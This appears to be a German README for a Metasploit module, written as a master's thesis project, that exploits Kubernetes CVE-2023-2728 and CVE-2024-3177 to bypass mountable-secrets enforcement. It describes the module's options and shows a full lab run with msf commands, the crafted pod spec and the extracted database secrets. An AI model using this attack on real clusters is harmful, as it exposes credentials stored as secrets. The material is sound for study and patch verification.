Modul, geschrieben in Ruby, mit dem Ziel, die Schwachstellen CVE-2023-2728 und CVE-2024-3177 auszunutzen, die beide mit der Secret-Mount-Richtlinie in einem Kubernetes-Cluster zusammenhängen, unter Verwendung eines benutzerdefinierten Metasploit-Moduls. Teil eines Abschlussprojekts für einen Master in Cybersicherheit.
Dieses benutzerdefinierte Modul nutzt CVE-2023-2728 und CVE-2024-3177 in Kubernetes-Versionen aus, die für jede dieser Schwachstellen anfällig sind (z. B. ist v1.27.2 für beide anfällig). Beide betreffen die Umgehung der Durchsetzung der Richtlinie für mountbare Geheimnisse, die vom ServiceAccount-Admission-Plugin in Kubernetes auferlegt wird, mit unterschiedlichen Containertypen und Strategien.
Das Hauptziel ist es, die gewünschten Geheimnisse zu erlangen und sie in den Umgebungsvariablen auf eine für den Benutzer ansprechende Weise darzustellen.
use auxiliary/cloud/kubernetes/double_secrets_cverun.Definiert den zu verwendenden Containertyp im Pod, der im Zielcluster erstellt wird, um die Sicherheitslücke auszunutzen. Es kann normal (entspricht regulären Containern), init oder ephemeral sein.
Ermöglicht die Auswahl der Schwachstelle, die ausgenutzt werden soll. Die verfügbaren Optionen sind 2024-3177 und 2023-2728. Wenn eine andere Schwachstelle angegeben wird, erkennt das Modul diese nicht und gibt einen Fehler aus, was ein normales Ergebnis ist.
Gibt das Container-Image an, das zum Erstellen des Pods verwendet werden soll, z. B. busybox, die Standardoption, da es sich aufgrund seiner Leichtigkeit und Vielseitigkeit um ein sehr nützliches Image handelt, das mehrere Linux-Dienstprogramme in einer einzigen und kleinen ausführbaren Datei bündelt und die gängigsten Unix-Dienstprogramme wie ls, cp, mv, cat oder sh zusammenfasst. Dies macht es sehr geeignet für Systeme mit begrenzten Ressourcen oder für schnelle Tests, wie es hier der Fall sein könnte, wo kein bestimmtes Image benötigt wird, sondern nur dass der Pod korrekt erstellt wird.
Gibt den Namespace in Kubernetes an, in dem der Pod erstellt wird. Dies muss derselbe Namespace sein, in dem sich das zu enthüllende Geheimnis befindet.
Definiert den Namen, der dem zu erstellenden Pod gegeben werden soll.
Zeichenkette der zu verwendenden Proxys im Format type:host:port[,type:host:port][...]. Dies ist eine Standard-Metasploit-Option, die in diesem Modul nicht verwendet wird.
Gibt die IP-Adresse oder den IP-Adressbereich des Ziels an, in diesem Fall des Kubernetes-Clusters, in dem die Sicherheitslücke ausgenutzt werden soll. Diese Option ist eine der Standardeinstellungen in Metasploit.
Definiert den TCP-Port des Ziels, mit dem das Modul eine Verbindung herstellt. Dies ist eine Standard-Metasploit-Option.
Gibt den Namen des Geheimnisses in Kubernetes an, das offengelegt werden soll. Dazu müssen die erforderlichen Berechtigungen vorhanden sein.
Ermöglicht die Definition, ob eine vorhandene Sitzung wiederverwendet werden soll. In diesem Modul ist diese Option nicht relevant und optional. Es handelt sich um eine Standardoption.
Legt fest, ob für ausgehende Verbindungen eine SSL/TLS-Verbindung ausgehandelt werden soll. Dies ist eine Standard-Metasploit-Option und muss nicht zwingend aktiviert sein, es hängt davon ab, wie der betreffende Benutzer eine Verbindung zu Ihrem Zielcluster herstellt.
Gibt den Basispfad zur anvisierten Kubernetes-API an, z. B. /api/v1. Diese Option ist benutzerdefiniert und wird verwendet, um die Planung bestimmter Verbindungen im Modul zu erleichtern.
Definiert das Authentifizierungstoken, das für die Interaktion mit der Kubernetes-API verwendet wird. Es ist wichtig, dass dieses Token über die erforderlichen Berechtigungen verfügt, sonst schlägt das Modul aufgrund fehlender Berechtigungen zum Erstellen oder Auflisten bestimmter Ressourcen im Cluster fehl.
Ermöglicht die Angabe eines HTTP-Virtual-Hosts. Dies ist eine Standard-Metasploit-Option, die im Modul nicht verwendet wird.
Hinweis: Im Markdown sind die Geheimnisse am Anfang und am Ende als ** SECRET ** markiert, was im Code nicht der Fall ist, da sie für eine bessere Sichtbarkeit für den Benutzer rot hervorgehoben wurden, was in der README-Datei aufgrund der Einschränkungen der Markdown-Sprache auf der GitHub-Plattform nicht möglich war.
Explizites Setzen von RHOST und TOKEN, um die in der Option SECRET_NAME angegebenen Geheimnisse aufzulisten:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal
CONTAINER_TYPE => normal
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1
POD_NAME => cve-pod-1
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-1
[*] Waiting for pod cve-pod-1 to be ready...
[*] Pod cve-pod-1 status: Pending
[+] Pod cve-pod-1 is running.
[*] Established Kubernetes client.
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-1
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[+] Successfully retrieved environment variables from pod cve-pod-1
[*] Auxiliary module execution completed